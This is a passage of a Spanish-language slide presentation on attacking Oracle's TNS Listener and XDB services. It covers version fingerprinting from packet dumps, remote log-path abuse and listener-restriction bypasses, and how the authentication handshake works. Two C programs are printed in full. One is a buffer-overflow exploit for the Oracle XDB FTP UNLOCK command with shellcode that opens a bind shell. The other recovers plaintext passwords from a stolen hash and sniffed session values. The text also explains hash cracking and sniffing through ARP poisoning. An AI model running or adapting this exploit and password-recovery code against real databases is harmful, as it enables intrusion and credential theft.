Server: Oracle XML DB/Oracle9i Enterprise Edition Release 9.2.0.1.0 -

Production

WWW-Authenticate: Basic Realm=" XDB"

Content-Type: text/html

Content-Length: 147




                           U S A N D O E L T E X TO D E E R R O R D E T N S


    Si el Listener recibe un paquete que no comprende, este devolverá un error, el código de ese
error nos proporciona, mediante una simple conversión, la versión que estamos buscando. El
código que buscamos se llama VSNNUM y tiene un formato como 169869568 que en
hexadecimal se corresponde con 0x0A200100 con lo que la versión es 10.2.0.1.0. A continuación
se muestra un dump donde el paquete que no comprende es el que contiene ‘irrompible’:

IP Header

Length and version: 0x45

Type of service: 0x00

Total length: 181

Identifier: 13914

Flags: 0x4000

TTL: 128

Protocol: 6 (TCP)

Checksum: 0x41e5

Source IP: 192.168.0.120

Dest IP: 192.168.0.59


                                               23
TCP Header

Source port: 1521

Dest port: 3004

Sequence: 1152664576

ack: 2478634793

Header length: 0x50

Flags: 0x18 (ACK PSH)

Window Size: 17451

Checksum: 0xcae1

Urgent Pointer: 0

Raw Data

00 8d 00 00 04 00 00 00 22 00 00 81 28 44 45 53 " (DES

43 52 49 50 54 49 4f 4e 3d 28 45 52 52 3d 31 31 CRIPTION=(ERR=11

35 33 29 28 56 53 4e 4e 55 4d 3d 31 36 39 38 36 53)(VSNNUM=16986

39 35 36 38 29 28 45 52 52 4f 52 5f 53 54 41 43 9568)(ERROR_STAC

4b 3d 28 45 52 52 4f 52 3d 28 43 4f 44 45 3d 31 K=(ERROR=(CODE=1

31 35 33 29 28 45 4d 46 49 3d 34 29 28 41 52 47 153)(EMFI=4)(ARG

53 3d 27 75 6e 62 72 65 61 6b 61 62 6c 65 27 29 S='irrompible')

29 28 45 52 52 4f 52 3d 28 43 4f 44 45 3d 33 30 )(ERROR=(CODE=30

33 29 28 45 4d 46 49 3d 31 29 29 29 29 3)(EMFI=1))))




                                 U S A N D O L A F U N C I ON T T C


    Una vez el cliente acepta un paquete recibido del servidor, éste tiene la potestad
de negociar información de red adicional, como puede ser: Autenticación,
encriptación, integridad de datos, etc. La versión del cliente o del servidor se puede
encontrar en los tres bytes posteriores al ANO gnegotiation hearder (0xDEADBEEF)
– con un total de 17 bytes. En la siguiente captura se puede ver:

IP Header

                                              24
Length and version: 0x45

Type of service: 0x00

Total length: 203

Identifier: 14473

Flags: 0x4000

TTL: 128

Protocol: 6 (TCP)

Checksum: 0x3fa0

Source IP: 192.168.0.59

Dest IP: 192.168.0.120

TCP Header

Source port: 4194

Dest port: 1495

Sequence: 422372252

ack: 597087647

Header length: 0x50

Flags: 0x18 (ACK PSH)

Window Size: 65087

Checksum: 0x7e36

Urgent Pointer: 0

Raw Data

00 a3 00 00 06 00 00 00 00 00 de ad be ef 00 99

08 10 74 00 00 04 00 00 04 00 03 00 00 00 00 00 t

04 00 05 08 10 74 00 00 02 00 06 00 1f 00 0e 00 t

01 de ad be ef 00 03 00 00 00 02 00 04 00 01 00


                                         25
01 00 07 00 00 00 00 00 04 00 05 08 10 74 00 00 t

02 00 06 fa ff 00 01 00 02 01 00 03 00 00 4e 54 NT

53 00 04 00 05 02 00 00 00 00 04 00 04 00 00 00 S

00 00 04 00 04 00 00 00 02 00 02 00 02 00 00 00

00 00 04 00 05 08 10 74 00 00 01 00 02 00 00 03 t

00 02 00 00 00 00 00 04 00 05 08 10 74 00 00 01 t

00 02 00



                            A TA C A N D O E L T N S L I S T E N E R


    Como se avanzaba anteriormente, en versiones 10g y anteriores es TNS Listener
puede ser administrado remotamente. Entre otras cosas es posible especificar o
cambiar el path de los ficheros de log, por lo que en este caso es posible por ejemplo
cambiar el path a un fichero batch en el directorio de inicio del administrador en
sistemas Windows o el fichero .rhosts en el directorio home de Oracle en sistemas
*nix. Una vez realizado este cambio el atacante puede enviar un comando o “++” en
caso de *nix pudiendo ejecutar comandos como el usuario Oracle. Es recomendable
establecer una password segura en el Listener así como utilizar Admin Restrictions
para impedir por ejemplo que se cambie el path de los logs de forma remota y forzar a
que el cambio tenga que realizarse en local.

    Históricamente el TNS Listener sufrió numerosos casos de buffer overflow, por
ejemplo, uno de los más usados en exploiting de Oracle es el que usaba el
service_name para introducir una shellcode en el sistema, a continuación vemos un
ejemplo:

(DESCRIPTION=(ADDRESS=

(PROTOCOL=TCP)(HOST=192.168.0.65)

(PORT=1521))(CONNECT_DATA=

(SERVICE_NAME=shellcode_goes_here)

(CID=

(PROGRAM=SQLPLUS.EXE)

(HOST=foo)(USER=bar))))




                                            26
El error o vulnerabilidad se produce cuando el sistema copia el nombre o service-
name a la pila (la cual usa como buffer) para escribir el error log, permitiendo de esta
forma hacer exploiting para ganar el control sobre el proceso en ejecución.

    Existen muchos otros buffer Overflow, la inmensa mayoría corregidos en
versiones recientes, igualmente los métodos usados para atacar el Listener (Sid
enumeration, etc) son comúnmente conocidos, por lo que no se tratarán en este
capítulo, por no aportar nada nuevo.



                     B Y PA S S I N G D E R E S T R I C C I O N E S D E L I S T E N E R E N 1 0 G


    Una de las medidas que se adoptaron a partir de la versión 10g fue la de introducir
restricciones para usuarios remotos, de manera que ciertas configuraciones requieren
que se realicen en local. En ciertos casos, no siempre, es posible bypassear estas
restricciones, en un primer momento podríamos conectarnos a la base de datos y
luego usar UTL_TCP para conectarse al Listener, debido a que la petición se hace
desde el mismo sistema, es decir, en local, tendríamos total acceso aunque de forma
remota. Otra posible forma para realizar el bypassing consiste en la conexión a
127.0.0.1, cuando se hace esto, el Listener es redirigido a través de pipe, el cual puede
conectarse y enviar comandos, por lo que una forma muy simple podría usar las
características de conexión en formato string para introducir dicho comando, en
versiones recientes esta vulnerabilidad ha sido solucionada.

   El Listener es también alcanzable vía dispatchers, estos son básicamente dos, el
XDB y los Aurora GIOP, estos últimos se usaban en versiones 8 y 9 de Oracle, por lo
que nos centraremos en el despachador de XML Database o XBD.



                                                X D B DA TA B A S E


    El XDB o Database XML ofrece dos servicios, uno a través de http en el puerto
8080 TCP y otro basado en FTP en el puerto 2100 TCP. Al igual que en el caso
anterior, históricamente XDB sufrió multitud de buffers overflow, inclusive buffer
overflows en el mecanismo de autenticación cuando se usaban nombre largos, por
ejemplo el siguiente exploit aprovecha esta vulnerabilidad en XDB 9.2.0.1 corriendo
sobre Linux:

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>



                                                       27
#include <netdb.h>

int main(int argc, char *argv[])

{

     struct hostent *he;

     struct sockaddr_in sa;

     int sock;

     unsigned int addr = 0;

     char recvbuffer[512]="";

     char user[260]="user ";

     char passwd[260]="pass ";

     int rcv=0;

     int snd =0;

     int count = 0;

     unsigned char nop_sled[1804]="";

     unsigned char saved_return_address[]="x41xc8xffxbf";

     unsigned char exploit[2100]=" unlock / AAAABBB"

     "BCCCCDDDDEEEEFFF"

     "FGGGGHHHHIIIIJJJ"

     "JKKKKLLLLMMMMNNN"

     "NOOOOPPPPQQQQRRR"

     "RSSSSTTTTUUUUVVV"

     "VWWWWXXXXYYYYZZZ"

     "Zaaaabbbbccccdd";

     unsigned char

     code[]="x31xdbx53x43x53x43x53x4bx6ax66x58x54x59xcd"

     "x80x50x4bx53x53x53x66x68x41x41x43x43x66x53"

     "x54x59x6ax10x51x50x54x59x6ax66x58xcdx80x58"

     "x6ax05x50x54x59x6ax66x58x43x43xcdx80x58x83"

     "xecx10x54x5ax54x52x50x54x59x6ax66x58x43xcd"


                                                      28
"x80x50x31xc9x5bx6ax3fx58xcdx80x41x6ax3fx58"

"xcdx80x41x6ax3fx58xcdx80x6ax0bx58x99x52x68"

"x6ex2fx73x68x68x2fx2fx62x69x54x5bx52x53x54"

"x59xcdx80rn";

if(argc !=4)

{

     printf("nntOracle XDB FTP Service UNLOCK Buffer Overflow Exploit");

     printf("nttfor Blackhat (http://www.blackhat.com)");

     printf("nntSpawns a shell listening on TCP Port 16705");

     printf("nntUsage:t%s host userid password",argv[0]);

     printf("nntDavid Litchfieldnt(david@ngssoftware.com)");

     printf("nt7th July 2003nnn");

     return 0;

}

while(count < 1800)

nop_sled[count++]=0x90;

// Build the exploit

strcat(exploit,saved_return_address);

strcat(exploit,nop_sled);

strcat(exploit,code);

// Process arguments

strncat(user,argv[2],240);

strncat(passwd,argv[3],240);

strcat(user,"rn");

strcat(passwd,"rn");

// Setup socket stuff

sa.sin_addr.s_addr=INADDR_ANY;

sa.sin_family = AF_INET;

sa.sin_port = htons((unsigned short) 2100);


                                                   29
// Resolve the target system

if(isalpha(argv[1][0])==0)

{

       addr = inet_addr(argv[1]);

       memcpy(&sa.sin_addr,&addr,4);

}

else

{

       he = gethostbyname(argv[1]);

       if(he == NULL)

       return printf("Couldn't resolve host %sn",argv[1]);

       memcpy(&sa.sin_addr,he->h_addr,he->h_length);

}

       sock = socket(AF_INET,SOCK_STREAM,0);

       if(sock < 0)

       return printf("socket() failed.n");

       if(connect(sock,(struct sockaddr *) &sa,sizeof(sa)) < 0)

       {

            close(sock);

            return printf("connect() failed.n");

       }

printf("nConnected to %s....n",argv[1]);

// Receive and print banner

rcv = recv(sock,recvbuffer,508,0);

if(rcv > 0)

{

       printf("%sn",recvbuffer);

       bzero(recvbuffer,rcv+1);

}


                                                     30
else

{

       close(sock);

       return printf("Problem with recv()n");

}

// send user command

snd = send(sock,user,strlen(user),0);

if(snd != strlen(user))

{

       close(sock);

       return printf("Problem with send()....n");

}

else

{

       printf("%s",user);

}

// Receive response. Response code should be 331

rcv = recv(sock,recvbuffer,508,0);

if(rcv > 0)

{

       if(recvbuffer[0]==0x33 && recvbuffer[1]==0x33 &&

       recvbuffer[2]==0x31)

{

printf("%sn",recvbuffer);

bzero(recvbuffer,rcv+1);

}

else

{

       close(sock);


                                                     31
return printf("FTP response code was not 331.n");

}

}

else

{

       close(sock);

       return printf("Problem with recv()n");

}

// Send pass command

snd = send(sock,passwd,strlen(passwd),0);

if(snd != strlen(user))

{

       close(sock);

       return printf("Problem with send()....n");

}

else

       printf("%s",passwd);

       // Receive reponse. If not 230 login has failed.

       rcv = recv(sock,recvbuffer,508,0);

if(rcv > 0)

{

       if(recvbuffer[0]==0x32 && recvbuffer[1]==0x33 &&

       recvbuffer[2]==0x30)

{

       printf("%sn",recvbuffer);

       bzero(recvbuffer,rcv+1);

}

else

{


                                                      32
close(sock);

       return printf("FTP response code was not 230. Login failed...n");

       }

}

else

{

       close(sock);

       return printf("Problem with recv()n");

}

// Send the UNLOCK command with exploit

snd = send(sock,exploit,strlen(exploit),0);

if(snd != strlen(exploit))

{

       close(sock);

       return printf("Problem with send()....n");

}

// Should receive a 550 error response.

rcv = recv(sock,recvbuffer,508,0);

if(rcv > 0)

       printf("%sn",recvbuffer);

       printf("nnExploit code sent....nnNow telnet to %s 16705nn",argv[1]);

close(sock);

return 0;

}




                                                     33
A TA C A N D O E L M E C A N I S M O D E AU T E N T I C A C I ÓN


    Antes de conseguir acceso total a la base de datos, es necesario conseguir acceso,
aunque esto parece una trivialidad, en esencia es la diferencia entre autenticación y
autorización, es decir, primero deberemos conseguir que el sistema nos autentique,
aunque no tengamos autorizado el acceso a determinados datos o funciones del
sistema. La autenticación se puede conseguir por varios medios, desde usando buffers
overflows para hacer el exploiting hasta realizando ataques de fuerza bruta o
diccionario, pasando por todas las opciones intermedias que pueden existir para
conseguir autenticarse.

    A estas alturas ya estamos en condiciones de entender como funciona el proceso
de autenticación en Oracle. Cuando intentamos conectar a una base de datos, el
cliente en primer lugar se conectará al TNS Listener, como ya es sabido. El siguiente
es un Dump del paquete de conexión:



IP Header

Length and version: 0x45

Type of service: 0x00

Total length: 320

Identifier: 9373

Flags: 0x4000

TTL: 128

Protocol: 6 (TCP)

Checksum: 0x532d

Source IP: 192.168.0.120

Dest IP: 192.168.0.37

TCP Header

Source port: 1916

Dest port: 1521

Sequence: 2802498112

ack: 2168229595

Header length: 0x50

Flags: 0x18 (ACK PSH)



                                                    34
Window Size: 17520

Checksum: 0x4915

Urgent Pointer: 0

Raw Data

01 18 00 00 01 00 00 00 01 39 01 2c 00 00 08 00 9 ,

7f ff c6 0e 00 00 01 00 00 de 00 3a 00 00 02 00 :

61 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 aa

00 00 00 00 00 00 00 00 00 00 28 44 45 53 43 52 (DESCR

49 50 54 49 4f 4e 3d 28 41 44 44 52 45 53 53 3d IPTION=(ADDRESS=

28 50 52 4f 54 4f 43 4f 4c 3d 54 43 50 29 28 48 (PROTOCOL=TCP)(H

4f 53 54 3d 31 39 32 2e 31 36 38 2e 30 2e 33 37 OST=192.168.0.37

29 28 50 4f 52 54 3d 31 35 32 31 29 29 28 43 4f )(PORT=1521))(CO

4e 4e 45 43 54 5f 44 41 54 41 3d 28 53 45 52 56 NNECT_DATA=(SERV

45 52 3d 44 45 44 49 43 41 54 45 44 29 28 53 45 ER=DEDICATED)(SE

52 56 49 43 45 5f 4e 41 4d 45 3d 6f 72 61 38 31 RVICE_NAME=ora81

37 2e 6e 67 73 73 6f 66 74 77 61 72 65 2e 63 6f 7.ngssoftware.co

6d 29 28 43 49 44 3d 28 50 52 4f 47 52 41 4d 3d m)(CID=(PROGRAM=

43 3a 5c 6f 72 61 63 6c 65 5c 70 72 6f 64 75 63 C:oracleproduc

74 5c 31 30 2e 32 2e 30 5c 64 62 5f 31 5c 62 69 t10.2.0db_1bi

6e 5c 73 71 6c 70 6c 75 73 2e 65 78 65 29 28 48 nsqlplus.exe)(H

4f 53 54 3d 4f 52 41 29 28 55 53 45 52 3d 6f 72 OST=ORA)(USER=or

61 63 6c 65 29 29 29 29 acle)))))




    Nótese que el Service_Name entry= ora817.ngssoftware.com. Este servicio no
está registrado con el TNS Listener, por lo que generará un error. Si es servicio esta
registrado, el Listener redirige al cliente conectando a otro puerto TCP.



     IP Header

     Length and version: 0x45



                                                       35
Type of service: 0x00

   Total length: 104

   Identifier: 32335

   Flags: 0x4000

   TTL: 128

   Protocol: 6 (TCP)

   Checksum: 0xfa52

   Source IP: 192.168.0.37

   Dest IP: 192.168.0.120

   TCP Header

   Source port: 1521

   Dest port: 1916

   Sequence: 2168229595

   ack: 2802498392

   Header length: 0x50

   Flags: 0x18 (ACK PSH )

   Window Size: 65255

   Checksum: 0xe663

   Urgent Pointer: 0

   Raw Data

   00 40 00 00 05 00 00 00 00 36 28 41 44 44 52 45 @ 6(ADDRE

   53 53 3d 28 50 52 4f 54 4f 43 4f 4c 3d 74 63 70 SS=(PROTOCOL=tcp

   29 28 48 4f 53 54 3d 31 39 32 2e 31 36 38 2e 30 )(HOST=192.168.0

   2e 33 37 29 28 50 4f 52 54 3d 33 35 39 30 29 29 .37)(PORT=3590))




    En este caso el cliente es redirigido al puerto 3590 TCP. Si el servidor está
corriendo en MTS (multi-threaded server), el cliente no será redirigido y todas las
comunicaciones tendrán lugar sobre el puerto 1521, cuando el cliente está conectado
al nuevo puerto, se produce la petición de servicio, como en el caso de la conexión al
Listener.


                                                  36
IP Header

Length and version: 0x45

Type of service: 0x00

Total length: 236

Identifier: 59545

Flags: 0x4000

TTL: 128

Protocol: 6 (TCP)

Checksum: 0x8f84

Source IP: 192.168.0.37

Dest IP: 192.168.0.120

TCP Header

Source port: 2500

Dest port: 1521

Sequence: 668563957

ack: 2568057659

Header length: 0x50

Flags: 0x18 (ACK PSH )

Window Size: 32780

Checksum: 0x65e8

Urgent Pointer: 0

Raw Data

00 c4 00 00 06 00 00 00 00 00 03 76 02 b0 5f df v _

00 06 00 00 00 01 00 00 00 58 cc 12 00 04 00 00 X

00 28 ca 12 00 14 ce 12 00 06 73 79 73 74 65 6d ( system

0d 00 00 00 0d 41 55 54 48 5f 54 45 52 4d 49 4e AUTH_TERMIN

41 4c 07 00 00 00 07 47 4c 41 44 49 55 53 00 00 AL GLADIUS

00 00 0f 00 00 00 0f 41 55 54 48 5f 50 52 4f 47 AUTH_PROG

52 41 4d 5f 4e 4d 0b 00 00 00 0b 53 51 4c 50 4c RAM_NM SQLPL


                                                  37
55 53 2e 45 58 45 00 00 00 00 0c 00 00 00 0c 41 US.EXE A

   55 54 48 5f 4d 41 43 48 49 4e 45 11 00 00 00 11 UTH_MACHINE

   57 4f 52 4b 47 52 4f 55 50 5c 47 4c 41 44 49 55 WORKGROUPGLADIU

   53 00 00 00 00 08 00 00 00 08 41 55 54 48 5f 50 S AUTH_P

   49 44 09 00 00 00 09 35 35 37 36 3a 35 34 35 36 ID 5576:5456

   00 00 00 00




     En la captura anterior, ese aprecia que el nombre de usuario es “system”. El
sistema realizará una comprobación para ver si el nombre de usuario “system” es
válido. Si el usuario no existe el sistema enviará un error de “logon denied” al cliente.
En caso de que el usuario exista, el sistema extrae de la base de datos el hash de la
password del mismo y usa ese mismo hash para generar un “secret number”. El
número secreto se crea de la siguiente forma: el servidor realiza la llamada slgdt() de
la librería de Oracle, esta función básicamente obtiene el tiempo del sistema (minutos,
horas, milisegundos y segundos) y lo almacena como WORD, a continuación creará
ocho bytes cifrados, los primeros cuatro bytes de la clave son usados para representar
los (minutos y horas) XOR (últimos cuatro bytes), estos últimos cuatro bytes son
(milisegundos y segundos XOR 4 primeros bytes del hash). Esta clave se usa para
encriptar el texto de la llamada a la función kzsrenc(), esta función básicamente
establece en DES usando lncgks() y lncecb() para habilitar el cifrado DES en modo
ECB.

    El secret number es también encriptado con el hash de la password de usuario el
resultado se guarda en AUTH_SESSKEY, esto es lo que se envía:

   IP Header

   Length and version: 0x45

   Type of service: 0x00

   Total length: 185

   Identifier: 52755

   Flags: 0x4000

   TTL: 128

   Protocol: 6 (TCP)

   Checksum: 0xaa3d

   Source IP: 192.168.0.120

   Dest IP: 192.168.0.37

   TCP Header

                                                   38
Source port: 1521

   Dest port: 2500

   Sequence: 2568057659

   ack: 668564153

   Header length: 0x50

   Flags: 0x18 (ACK PSH)

   Window Size: 16275

   Checksum: 0x4c2d

   Urgent Pointer: 0

   Raw Data

   00 91 00 00 06 00 00 00 00 00 08 01 00 0c 00 00

   00 0c 41 55 54 48 5f 53 45 53 53 4b 45 59 10 00 AUTH_SESSKEY

   00 00 10 36 43 43 33 37 42 41 33 44 41 37 39 37 6CC37BA3DA797

   35 44 36 00 00 00 00 04 01 00 00 00 00 00 00 00 5D6

   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

   00 00 02 00 00 00 00 00 00 36 01 00 00 00 00 00 6

   00 b8 00 8b 0a 00 00 00 00 00 00 00 00 00 00 00

   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

   00




    Una vez recibido el AUTH_SESSKEY, el cliente debe desencriptar esta clave
para conseguir el secret number. El usuario o cliente crea una copia de su propio hash
de password usando lncupw(), que es otra de las funciones que proporciona Oracle.
Por tanto el hash es usado como clave para desencriptar el AUTH_SESSKEY y si
todo va bien se obtiene el número secreto, esta clave secreta será luego usada para
encriptar el texto del usuario, el texto cifrado es enviado al servidor como
AUTH_PASSWORD:

   IP Header

   Length and version: 0x45

   Type of service: 0x00

                                                     39
Total length: 839

Identifier: 59546

Flags: 0x4000

TTL: 128

Protocol: 6 (TCP)

Checksum: 0x8d28

Source IP: 192.168.0.37

Dest IP: 192.168.0.120

TCP Header

Source port: 2500

Dest port: 1521

Sequence: 668564153

ack: 2568057804

Header length: 0x50

Flags: 0x18 (ACK PSH )

Window Size: 32762

Checksum: 0x0838

Urgent Pointer: 0

Raw Data

03 1f 00 00 06 00 00 00 00 00 03 73 03 b0 5f df s _

00 06 00 00 00 01 01 00 00 1c da 12 00 07 00 00

00 88 d6 12 00 3c dc 12 00 06 73 79 73 74 65 6d < system

0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f AUTH_PASSWO

52 44 11 00 00 00 11 36 36 36 43 41 46 45 36 37 RD 666CAFE67

34 39 43 39 44 37 37 30 00 00 00 00 0d 00 00 00 49C9D770


                                     40
....

    El servidor desencripta el AUTH_PASSWORD con el número secreto mediante
una llamada a la función kzsrdep() . El servidor tiene en este momento una copia de la
password en texto plano, a continuación el servidor crea un hash y lo contrasta con el
hash que tiene almacenado en la base de datos, si hace match el usuario es
autenticado. A continuación el servidor realizará comprobaciones para saber, por
ejemplo, si el usuario tiene privilegios para poder crear una sesión.

    Llegados este punto podemos darnos cuenta que si el AUTH_PASSWORD es de
16 caracteres de longitud entonces la password es de 8 o menos, por otro lado si la
longitud de AUTH_PASSWORD es de 32 caracteres la password tendrá una longitud
entre 9 y 16 caracteres. Esta información la deducimos únicamente capturando tráfico
de red y nos puede servir para ver cuan factible sería un ataque de cracking sobre esos
hashes.




            C R I P TO - A TA C A N D O Y L A I M P ORTA N C I A D E P ROT E G E R L A C A PA 2


    Conseguir los hashes de Oracle es un proceso trivial y que hacer con ellos
depende en gran medida de la fortaleza, el primer intento debería ser usar rainbow
tables (hashes pre-computados), en un segundo intento se podría intentar lanzar
ataques de diccionarios (más o menos personalizados, no diccionarios estándares) y a
la muy malas siempre nos quedaría lanzar un ataque de fuerza bruta, lo cual muchas
veces es inviable. Pero no debemos centrarnos únicamente en crackear el hash, la
pregunta es, ¿Qué podemos hacer con el hash?, imaginemos que hemos conseguido el
hash y queremos tener el texto en plano, para ello podemos sniffar el tráfico de red
buscando AUTH_SESSKEY y AUTH_PASSWORD, es así como conseguiremos el
texto el plano. Como tenemos el hash podemos descencriptar el AUTH_SESSKEY y
conseguir en secret number, luego usaremos este número secreto para desencriptar
AUTH_PASSWORD y sin hacer nada más tendremos el texto en claro.

    Como se puede ver uno de los grandes problemas o ventajas según se mire, es el
que se pueda hacer sniffing en la red, aquí radica la problemática de la inseguridad de
capas inferiores, por defecto en una red segura, no debería estar permitido el envenena
miento de arp, por lo que tampoco se podría hacer un MIT (man in the middle) y por
supuesto debería estar limitado el poder usar el modo promíscuo de las tarjetas de red
y por consecuencia no se debería permitir capturar tráfico de red en redes conmutadas
(los switch´s deberían configurarse adecuadamente y contemplar opciones de Vlan´s).
Obviamente la seguridad en la capa 2 en entornos considerados críticos en lo que a
Oracle se refiere es, en la mayoría de los casos, es una utopía.

    El siguiente código usa las funciones kzsrdec() y kzsrdep() para obtener el texto
en claro usando el hash la AUTH_SESSKEY y AUTH_PASSWORD:



/*

                                                  41
C:>cl /TC opass.c

C:>opass E:oracleora81BINoracommon8.dll

EED9B65CCECDB2E9

DF0536A94ADEE746

36A2CB576171FEAD

Secret is CEAF9C221915EC3E

Password is password

*/

#include <stdio.h>

#include <windows.h>

int main(int argc, char *argv[])

{

     FARPROC kzsrdec = NULL;

     FARPROC kzsrdep = NULL;

     HANDLE oracommon = NULL;

     unsigned char dll_path[260]="";

     unsigned char hash[40]="";

     unsigned char sess[40]="";

     unsigned char pass[260]="";

     unsigned char o[20]="";

     unsigned char pwd[200]="";

if(argc!=5)

{

     printf("nt*** Oracle Password Revealer ***nn");

return 0;


                                          42
}

    strncpy(dll_path,argv[1],256);

    strncpy(hash,argv[2],36);

    strncpy(sess,argv[3],36);

    strncpy(pass,argv[4],256);

    if(StringToHex(hash,1)==0)

       return printf("Error in the password hash.n");

    if(StringToHex(sess,1)==0)

       return printf("Error in the auth_sesskey.n");

    if(StringToHex(pass,0)==0)

       return printf("Error in the auth_password.n");

       oracommon = LoadLibrary(dll_path);

    if(!oracommon)

       return printf("Failed to load %sn",dll_path);

       kzsrdec = GetProcAddress(oracommon," kzsrdec");

    if(!kzsrdec)

       return printf("No address for kzsrdec.n");

       kzsrdep = GetProcAddress(oracommon," kzsrdep");

    if(!kzsrdep)

       return printf("No address for kzsrdep.n");

       kzsrdec(sess,o,hash);

     printf("nSecret is
%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2Xn",o[0],o[1],o[2],o[3],o[4],o[5],o[6],o[
7]);

       kzsrdep(pwd,pass,strlen(pass),o);

       printf("Password is %sn",pwd);


                                           43
return 0;

    }

int StringToHex(char *str,int cnv)

{

    unsigned int len = 0, c=0,i=0;

    unsigned char a=0,b=0;

    unsigned char tmp[12]="";

    len = strlen(str);

    if(len > 16)

        return 0;

    while(c < len)

    {

        a = str[c++];

        b = str[c++];

        if(a > 0x2F && a < 0x3A)

            a = a - 0x30;

        else if(a > 0x40 && a < 0x47)

            a = a - 0x37;

        else if(a > 0x60 && a < 0x67)

            a = a - 0x57;

        else

            return 0;

        if(b > 0x2F && b < 0x3A)

            b = b - 0x30;

        else if(b > 0x40 && a < 0x47)


                                        44
b = b - 0x37;

    else if(a > 0x60 && a < 0x67)

          b = b - 0x57;

    else

          return 0;

    a = a << 4;

    a = a + b;

    tmp[i]=a;

    i ++;

}

memset(str,0,len);

c=0;

if(cnv)

{

while(c < 8)

{

    str[c+0]=tmp[c+3];

    str[c+1]=tmp[c+2];

    str[c+2]=tmp[c+1];

    str[c+3]=tmp[c+0];

    c = c + 4;

}

return 1;

}

while(c < 8)


                                    45
{

        str[c]=tmp[c];

        c = c ++;

    }

    return 1;

}




                         46

Más contenido relacionado

La actualidad más candente

Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]RootedCON
 
Jose M Mejia - Usando computación paralela GPU en malware y herramientas de h...
Jose M Mejia - Usando computación paralela GPU en malware y herramientas de h...Jose M Mejia - Usando computación paralela GPU en malware y herramientas de h...
Jose M Mejia - Usando computación paralela GPU en malware y herramientas de h...RootedCON
 
Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]
Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]
Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]RootedCON
 
Leonardo Nve - Explotando cambios en servidores DNS [RootedSatellite Valencia]
Leonardo Nve - Explotando cambios en servidores DNS [RootedSatellite Valencia]Leonardo Nve - Explotando cambios en servidores DNS [RootedSatellite Valencia]
Leonardo Nve - Explotando cambios en servidores DNS [RootedSatellite Valencia]RootedCON
 
Replicacion de Base de datos con OGG
Replicacion de Base de datos con OGGReplicacion de Base de datos con OGG
Replicacion de Base de datos con OGGErick Vidbaz
 
Depuración Avanzada Con Win Dbg Y Vs 2010 (Basica)
Depuración Avanzada Con Win Dbg Y Vs 2010 (Basica)Depuración Avanzada Con Win Dbg Y Vs 2010 (Basica)
Depuración Avanzada Con Win Dbg Y Vs 2010 (Basica)Pablo Alvarez Doval
 
Conexión a postgres desde
Conexión a postgres desdeConexión a postgres desde
Conexión a postgres desdejbersosa
 
Abraham Pasamar & Carlos Fernández - Purple brain, purple brain ... [rooted2019]
Abraham Pasamar & Carlos Fernández - Purple brain, purple brain ... [rooted2019]Abraham Pasamar & Carlos Fernández - Purple brain, purple brain ... [rooted2019]
Abraham Pasamar & Carlos Fernández - Purple brain, purple brain ... [rooted2019]RootedCON
 
Package contactos para java
Package contactos para javaPackage contactos para java
Package contactos para javajbersosa
 

La actualidad más candente (10)

Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
 
Jose M Mejia - Usando computación paralela GPU en malware y herramientas de h...
Jose M Mejia - Usando computación paralela GPU en malware y herramientas de h...Jose M Mejia - Usando computación paralela GPU en malware y herramientas de h...
Jose M Mejia - Usando computación paralela GPU en malware y herramientas de h...
 
Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]
Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]
Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]
 
Leonardo Nve - Explotando cambios en servidores DNS [RootedSatellite Valencia]
Leonardo Nve - Explotando cambios en servidores DNS [RootedSatellite Valencia]Leonardo Nve - Explotando cambios en servidores DNS [RootedSatellite Valencia]
Leonardo Nve - Explotando cambios en servidores DNS [RootedSatellite Valencia]
 
Password cracking
Password crackingPassword cracking
Password cracking
 
Replicacion de Base de datos con OGG
Replicacion de Base de datos con OGGReplicacion de Base de datos con OGG
Replicacion de Base de datos con OGG
 
Depuración Avanzada Con Win Dbg Y Vs 2010 (Basica)
Depuración Avanzada Con Win Dbg Y Vs 2010 (Basica)Depuración Avanzada Con Win Dbg Y Vs 2010 (Basica)
Depuración Avanzada Con Win Dbg Y Vs 2010 (Basica)
 
Conexión a postgres desde
Conexión a postgres desdeConexión a postgres desde
Conexión a postgres desde
 
Abraham Pasamar & Carlos Fernández - Purple brain, purple brain ... [rooted2019]
Abraham Pasamar & Carlos Fernández - Purple brain, purple brain ... [rooted2019]Abraham Pasamar & Carlos Fernández - Purple brain, purple brain ... [rooted2019]
Abraham Pasamar & Carlos Fernández - Purple brain, purple brain ... [rooted2019]
 
Package contactos para java
Package contactos para javaPackage contactos para java
Package contactos para java
 

Similar a Anatomía de un ataque a tns listener

Curso migración de aplicaciones nsl nk90 a tmp
Curso migración de aplicaciones nsl nk90 a tmpCurso migración de aplicaciones nsl nk90 a tmp
Curso migración de aplicaciones nsl nk90 a tmpEdgar Solis
 
Lw2010 Pedro Valera
Lw2010 Pedro ValeraLw2010 Pedro Valera
Lw2010 Pedro Valeraguestf280e2
 
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En RedesLw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redesguest5d7f33c
 
Rendimiento en aplicaciones web con Symfony2
